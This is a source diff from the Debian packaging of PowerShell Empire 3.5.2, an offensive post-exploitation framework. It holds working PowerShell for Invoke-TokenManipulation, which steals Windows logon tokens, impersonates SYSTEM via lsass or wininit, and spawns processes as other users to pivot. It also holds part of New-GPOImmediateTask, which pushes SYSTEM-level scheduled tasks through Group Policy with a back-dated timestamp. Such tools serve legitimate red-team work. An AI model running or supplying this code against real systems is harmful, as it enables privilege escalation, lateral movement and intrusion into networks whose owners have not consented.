Codebase list powershell-empire / 7ff972e
Update upstream source from tag 'upstream/3.5.2' Update to upstream version '3.5.2' with Debian dir d9114e190afa5239b139b4fcb48e04710aceeec3 Sophie Brun 3 years ago
7 changed file(s) with 626 addition(s) and 266 deletion(s). Raw diff Collapse all Expand all
0 3.5.1
0 3.5.2
0 10/22/2020
1 ------------
2 - Version 3.5.2 Master Release
3 - Fixed token manipulation (steal_token) functionality in Windows 10 - #355 (@Hubbl3)
4 - Fixed lateral movement module New-GPOImmediateTask - #362 (@Cx01N)
5 - Fixed Invoke-PSRemoting blocking current agent - #359 (@mjokic)
6
07 10/14/2020
18 ------------
29 - Version 3.5.1 Master Release
0 function Invoke-TokenManipulation
1 {
0 function Invoke-TokenManipulation{
21 <#
32 .SYNOPSIS
4
53 This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use
64 anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections.
75 This functionality is very similar to the incognito tool (with some differences, and different use goals).
8
96 This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell
107 creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token
118 that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect
129 to another server as that user (it will authenticate using the primary token of the process, which is your original logon token).
13
14 Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
10 Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
1511 Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their
1612 credentials for the authentication.
17
18 IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
13 IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
1914 This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL
2015 is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though,
2116 so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop.
2217 This could show up in logs depending on the level of monitoring.
23
24
2518 PERMISSIONS REQUIRED:
2619 SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
2720 SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
28
29
3021 Important differences from incognito:
3122 First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
3223 between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
3324 which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow
3425 you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting
35 without dumping credentials.
36
26 without dumping credentials.
3727 In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does
38 matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
28 matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
3929 the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types
4030 should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks
4131 for tokens which were created with desirable logon tokens (and only displays them by default).
42
4332 In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good).
44
45
4633 PowerSploit Function: Invoke-TokenManipulation
4734 Author: Joe Bialek, Twitter: @JosephBialek
4835 License: BSD 3-Clause
5037 Optional Dependencies: None
5138 Version: 1.11
5239 (1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
53
5440 .DESCRIPTION
55
5641 Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
57
5842 .PARAMETER Enumerate
59
6043 Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens).
61
6244 .PARAMETER RevToSelf
63
6445 Switch. Stops impersonating an alternate users Token.
65
6646 .PARAMETER ShowAll
67
6847 Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens).
69
7048 .PARAMETER ImpersonateUser
71
7249 Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId.
7350 This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead.
74
51
7552 .PARAMETER CreateProcess
76
7753 Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId.
78
54
7955 .PARAMETER WhoAmI
80
8156 Switch. Displays the credentials the PowerShell thread is running under.
82
8357 .PARAMETER Username
84
8558 Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user.
86
8759 .PARAMETER ProcessId
88
8960 Specify the Token to use by ProcessId. This will use the primary token of the process specified.
90
9161 .PARAMETER Process
92
9362 Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process.
94
9563 .PARAMETER ThreadId
96
9764 Specify the Token to use by ThreadId. This will use the token of the thread specified.
98
9965 .PARAMETER ProcessArgs
100
10166 Specify the arguments to start the specified process with when using the -CreateProcess mode.
102
10367 .PARAMETER NoUI
104
105 If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
68 If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
10669 current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
10770 to "Everyone".
108
10971 .PARAMETER PassThru
110
11172 If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline.
11273
113
11474 .EXAMPLE
115
11675 Invoke-TokenManipulation -Enumerate
117
11876 Lists all unique usable tokens on the computer.
119
12077 .EXAMPLE
121
12278 Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
123
12479 Spawns cmd.exe as SYSTEM.
125
12680 .EXAMPLE
127
12881 Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
129
13082 Makes the current PowerShell thread impersonate SYSTEM.
131
13283 .EXAMPLE
133
13484 Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
135
13685 Spawns cmd.exe using the primary token belonging to process ID 500.
137
13886 .EXAMPLE
139
14087 Invoke-TokenManipulation -ShowAll
141
14288 Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon.
143
14489 .EXAMPLE
145
14690 Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
147
14891 Spawns cmd.exe using the token belonging to thread ID 500.
149
15092 .EXAMPLE
151
15293 Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
153
15494 Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script.
155
15695 .EXAMPLE
157
15896 (Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit()
159
16097 Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited.
161
16298 .EXAMPLE
163
16499 Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser
165
166100 Makes the current thread impersonate the lsass security token.
167
168101 .NOTES
169 This script was inspired by incognito.
170
102 This script was inspired by incognito.
171103 Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/).
172104 BIG THANKS to Matt Graeber for helping debug.
173
174105 .LINK
175
176106 Blog: http://clymb3r.wordpress.com/
177107 Github repo: https://github.com/clymb3r/PowerShell
178108 Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
179
180109 #>
181110
182111 [CmdletBinding(DefaultParameterSetName="Enumerate")]
236165 [Switch]
237166 $PassThru
238167 )
239
168
240169 Set-StrictMode -Version 2
241170
242171 #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
245174 Param
246175 (
247176 [OutputType([Type])]
248
177
249178 [Parameter( Position = 0)]
250179 [Type[]]
251180 $Parameters = (New-Object Type[](0)),
252
181
253182 [Parameter( Position = 1 )]
254183 [Type]
255184 $ReturnType = [Void]
264193 $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
265194 $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
266195 $MethodBuilder.SetImplementationFlags('Runtime, Managed')
267
196
268197 Write-Output $TypeBuilder.CreateType()
269198 }
270199
275204 Param
276205 (
277206 [OutputType([IntPtr])]
278
207
279208 [Parameter( Position = 0, Mandatory = $True )]
280209 [String]
281210 $Module,
282
211
283212 [Parameter( Position = 1, Mandatory = $True )]
284213 [String]
285214 $Procedure
519448 $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
520449 $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
521450 $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
522
451
523452 #Struct TOKEN_PRIVILEGES
524453 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
525454 $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
583512
584513 $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken
585514 $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
586 $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate)
515 $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate)
587516
588517 $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation
589518 $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
590 $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate)
519 $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate)
591520
592521 $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken
593522 $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool])
594 $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate)
523 $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate)
595524
596525 $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser
597526 $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool])
703632 ###############################
704633
705634
706 #Used to add 64bit memory addresses
707 Function Add-SignedIntAsUnsigned
708 {
709 Param(
710 [Parameter(Position = 0, Mandatory = $true)]
711 [Int64]
712 $Value1,
713
714 [Parameter(Position = 1, Mandatory = $true)]
715 [Int64]
716 $Value2
717 )
718
719 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
720 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
721 [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
722
723 if ($Value1Bytes.Count -eq $Value2Bytes.Count)
724 {
725 $CarryOver = 0
726 for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
727 {
728 #Add bytes
729 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
730
731 $FinalBytes[$i] = $Sum -band 0x00FF
732
733 if (($Sum -band 0xFF00) -eq 0x100)
734 {
735 $CarryOver = 1
736 }
737 else
738 {
739 $CarryOver = 0
740 }
741 }
742 }
743 else
744 {
745 Throw "Cannot add bytearrays of different sizes"
746 }
747
748 return [BitConverter]::ToInt64($FinalBytes, 0)
749 }
750
751
752635 #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL
753636 function Enable-SeAssignPrimaryTokenPrivilege
754 {
637 {
755638 [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
756639 if ($ThreadHandle -eq [IntPtr]::Zero)
757640 {
758641 Throw "Unable to get the handle to the current thread"
759642 }
760
643
761644 [IntPtr]$ThreadToken = [IntPtr]::Zero
762645 [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
763646 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
771654 {
772655 Throw (New-Object ComponentModel.Win32Exception)
773656 }
774
657
775658 $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
776659 if ($Result -eq $false)
777660 {
785668 }
786669
787670 $CloseHandle.Invoke($ThreadHandle) | Out-Null
788
671
789672 $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
790673 $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
791674 $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
841724 [String]
842725 $Privilege
843726 )
844
845727 [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
846728 if ($ThreadHandle -eq [IntPtr]::Zero)
847729 {
848730 Throw "Unable to get the handle to the current thread"
849731 }
850
732
851733 [IntPtr]$ThreadToken = [IntPtr]::Zero
852734 [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
853735 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
861743 {
862744 Throw (New-Object ComponentModel.Win32Exception)
863745 }
864
746
865747 $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
866748 if ($Result -eq $false)
867749 {
875757 }
876758
877759 $CloseHandle.Invoke($ThreadHandle) | Out-Null
878
760
879761 $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
880762 $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
881763 $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
921803 function Set-DesktopACLs
922804 {
923805 Enable-Privilege -Privilege SeSecurityPrivilege
924
925806 #Change the privilege for the current window station to allow full privilege for all users
926807 $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0")
927808 $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC)
1045926 }
1046927 else
1047928 {
1048 $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY
929 $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY
1049930 }
1050931
1051932 $ReturnStruct = New-Object PSObject
11781059 else
11791060 {
11801061 $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA)
1181 if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and
1062 if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and
11821063 $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero)
11831064 {
11841065 #Get the username and domainname associated with the token
11861067 $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2)
11871068
11881069 #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE)
1189 #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account
1070 #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account
11901071 #results in querying the domain controller which is unwanted.
11911072 if ($Username -ieq "$($env:COMPUTERNAME)`$")
11921073 {
12171098
12181099 $ReturnObj = New-Object PSObject
12191100 $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain
1220 $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username
1101 $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username
12211102 $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken
12221103 $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType
12231104
12321113 if (-not $Success)
12331114 {
12341115 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1235 Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode"
1116 Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode"
12361117 }
12371118 else
12381119 {
13341215 else
13351216 {
13361217 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
1337
1218
13381219 #Loop through each privilege
1339 [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges")))
1220 [IntPtr]$PrivilegesBasePtr = [IntPtr]::add($TokenPrivilegesPtr, ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges")))
13401221 $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
13411222 for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++)
13421223 {
1343 $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i))
1224 $LuidAndAttributePtr = [IntPtr]::add($PrivilegesBasePtr, ($LuidAndAttributeSize * $i))
13441225
13451226 $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES)
13461227
13471228 #Lookup privilege name
1348 [UInt32]$PrivilegeNameSize = 60
1229 [UInt32]$PrivilegeNameSize = 100
13491230 $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize)
13501231 $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid
13511232
15941475 {
15951476 $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs")
15961477 }
1597
1478
15981479 $FunctionName = ""
15991480 if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
16001481 {
16011482 #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
16021483 #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
1603 #which is not ideal.
1484 #which is not ideal.
16041485 Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."
16051486 Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
16061487 $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
16851566
16861567 #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
16871568 #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token.
1688 $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
1569 $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process lsass | where {$_.SessionId -eq 0}).Id
16891570 if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
16901571 {
16911572 Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
17001581 $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
17011582
17021583 #Get all tokens
1703 foreach ($Process in $ProcessIds)
1704 {
1584 foreach($Process in $ProcessIds){
17051585 $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs)
17061586
17071587 #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it.
17361616 if ($ReturnObj -ne $null)
17371617 {
17381618 $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id
1739
1619
17401620 $AllTokens += $ReturnObj
17411621 }
17421622 }
17961676 elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser")
17971677 {
17981678 $AllTokens = Enum-AllTokens
1799
1679
18001680 #Select the token to use
18011681 [IntPtr]$hToken = [IntPtr]::Zero
18021682 $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser
18721752 {
18731753 Set-DesktopACLs
18741754 }
1875
18761755 Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru
18771756
18781757 Invoke-RevertToSelf
19071786 Free-AllTokens -TokenInfoObjs $AllTokens
19081787 }
19091788 }
1910
19111789
19121790 #Start the main function
19131791 Main
19141792 }
1793
1415614156 }
1415714157
1415814158
14159 function New-GPOImmediateTask {
14160 <#
14161 .SYNOPSIS
14162
14163 Builds an 'Immediate' schtask to push out through a specified GPO.
14164
14165 Authors: Will Schroeder (@harmj0y)
14166 License: BSD 3-Clause
14167 Required Dependencies: Get-DomainGPO
14168
14169 .DESCRIPTION
14170
14171 Builds an 'Immediate' schtask to push out through a specified GPO. First an
14172 XML file is created here
14173 '<GPO path>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml'.
14174 This XML file contains configuration for our 'Immediate' task such as which
14175 command will be run with which account.
14176 Furthermore, for the 'Immediate' task to be run we need to update the
14177 gPCMachineExtensionNames or gPCUserExtensionNames attribute of the GPO object
14178 with the GUID corresponding to an 'Immediate' task.
14179 Finally, the versioNumber must be updated both in the GPO object and the
14180 GPT.ini file if we want the 'Immediate' task to be applied without 'gpupdate
14181 /force'.
14182 Greatly inspired from https://labs.mwrinfosecurity.com/tools/sharpgpoabuse/.
14183
14184 .PARAMETER TaskName
14185
14186 Name for the schtask to recreate. Required.
14187
14188 .PARAMETER Command
14189
14190 The command to execute with the task, defaults to 'powershell'.
14191
14192 .PARAMETER CommandArguments
14193
14194 The arguments to supply to the -Command being launched.
14195
14196 .PARAMETER TaskDescription
14197
14198 An optional description for the task.
14199
14200 .PARAMETER TaskAuthor
14201
14202 The displayed author of the task, defaults to 'NT AUTHORITY\System'.
14203
14204 .PARAMETER TaskRunAs
14205
14206 The security context under which the task is run, defaults to 'NT AUTHORITY\System'.
14207
14208 .PARAMETER TaskLogonType
14209
14210 The logon type used by the task (mainly S4U or InteractiveToken), defaults to 'S4U'.
14211
14212 .PARAMETER TaskRunLevel
14213
14214 The privilege level asked for by the task, defaults to 'HighestAvailable'
14215
14216 .PARAMETER TaskModifiedDate
14217
14218 The displayed modified date for the task, defaults to 30 days ago.
14219
14220 .PARAMETER GPO
14221
14222 A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
14223 GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}').
14224
14225 .PARAMETER Domain
14226
14227 The domain to query for the GPOs, defaults to the current domain.
14228
14229 .PARAMETER SearchBase
14230
14231 The LDAP source to search through
14232 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
14233
14234 .PARAMETER Credential
14235
14236 A [Management.Automation.PSCredential] object of alternate credentials
14237 for connection to the target.
14238
14239 .PARAMETER SearchBase
14240
14241 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
14242 Useful for OU queries.
14243
14244 .PARAMETER Server
14245
14246 Specifies an Active Directory server (domain controller) to bind to.
14247
14248 .PARAMETER SearchScope
14249
14250 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
14251
14252 .PARAMETER ServerTimeLimit
14253
14254 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
14255
14256 .PARAMETER Target
14257
14258 Specifies if the immediate task will be configure for the user or machine part of the GPO.
14259
14260 .EXAMPLE
14261
14262 PS> New-GPOImmediateTask -TaskName Debugging -GPO SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
14263
14264 Create an immediate schtask that executes the specified PowerShell arguments and
14265 push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
14266
14267 .EXAMPLE
14268
14269 PS> New-GPOImmediateTask -GPO SecurePolicy -TaskName MyTask -Remove -Force
14270
14271 Remove immediate task named 'MyTask' from the 'SecurePolicy' GPO, skipping the confirmation prompt.
14272 #>
14273 [CmdletBinding(DefaultParameterSetName = 'Create')]
14274 Param (
14275
14276 [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
14277 [Parameter(ParameterSetName = 'Remove', Mandatory = $True)]
14278 [String]
14279 [ValidateNotNullOrEmpty()]
14280 $TaskName,
14281
14282 [Parameter(ParameterSetName = 'Create')]
14283 [String]
14284 [ValidateNotNullOrEmpty()]
14285 $Command = 'powershell',
14286
14287 [Parameter(ParameterSetName = 'Create')]
14288 [String]
14289 [ValidateNotNullOrEmpty()]
14290 $CommandArguments,
14291
14292 [Parameter(ParameterSetName = 'Create')]
14293 [String]
14294 [ValidateNotNullOrEmpty()]
14295 $TaskDescription = '',
14296
14297 [Parameter(ParameterSetName = 'Create')]
14298 [String]
14299 [ValidateNotNullOrEmpty()]
14300 $TaskAuthor = 'NT AUTHORITY\System',
14301
14302 [Parameter(ParameterSetName = 'Create')]
14303 [String]
14304 [ValidateNotNullOrEmpty()]
14305 $TaskRunAs = 'NT AUTHORITY\System',
14306
14307 [Parameter(ParameterSetName = 'Create')]
14308 [String]
14309 [ValidateNotNullOrEmpty()]
14310 $TaskLogonType = 'S4U',
14311
14312 [Parameter(ParameterSetName = 'Create')]
14313 [String]
14314 [ValidateNotNullOrEmpty()]
14315 $TaskRunLevel = 'HighestAvailable',
14316
14317 [Parameter(ParameterSetName = 'Create')]
14318 [String]
14319 [ValidateNotNullOrEmpty()]
14320 $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
14321
14322 [Parameter(ParameterSetName = 'Create')]
14323 [String]
14324 [ValidateNotNullOrEmpty()]
14325 $TaskGuid = [Guid]::NewGuid(),
14326
14327 [Parameter(ParameterSetName = 'Create')]
14328 [Parameter(ParameterSetName = 'Remove')]
14329 [String]
14330 $GPO,
14331
14332 [Parameter(ParameterSetName = 'Create')]
14333 [Parameter(ParameterSetName = 'Remove')]
14334 [ValidateSet('Machine','User')]
14335 [String]
14336 $Target = 'Machine',
14337
14338 [Parameter(ParameterSetName = 'Create')]
14339 [Parameter(ParameterSetName = 'Remove')]
14340 [String]
14341 $Domain,
14342
14343 [Parameter(ParameterSetName = 'Create')]
14344 [Parameter(ParameterSetName = 'Remove')]
14345 [Management.Automation.PSCredential]
14346 $Credential,
14347
14348 [Parameter(ParameterSetName = 'Create')]
14349 [Parameter(ParameterSetName = 'Remove')]
14350 $LDAPFilter,
14351
14352 [Parameter(ParameterSetName = 'Create')]
14353 [Parameter(ParameterSetName = 'Remove')]
14354 [String]
14355 $SearchBase,
14356
14357 [Parameter(ParameterSetName = 'Create')]
14358 [Parameter(ParameterSetName = 'Remove')]
14359 [String]
14360 $Server,
14361
14362 [Parameter(ParameterSetName = 'Create')]
14363 [Parameter(ParameterSetName = 'Remove')]
14364 [String]
14365 $SearchScope,
14366
14367 [Parameter(ParameterSetName = 'Create')]
14368 [Parameter(ParameterSetName = 'Remove')]
14369 [String]
14370 $ServerTimeLimit,
14371
14372 [Parameter(ParameterSetName = 'Create')]
14373 [Parameter(ParameterSetName = 'Remove')]
14374 [Switch]
14375 $Force,
14376
14377 [Parameter(ParameterSetName = 'Remove')]
14378 [Switch]
14379 $Remove
14380 )
14381
14382 BEGIN {
14383 $SearcherArguments = @{}
14384 if ($PSBoundParameters['GPO']) { $SearcherArguments['Identity'] = $GPO }
14385 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
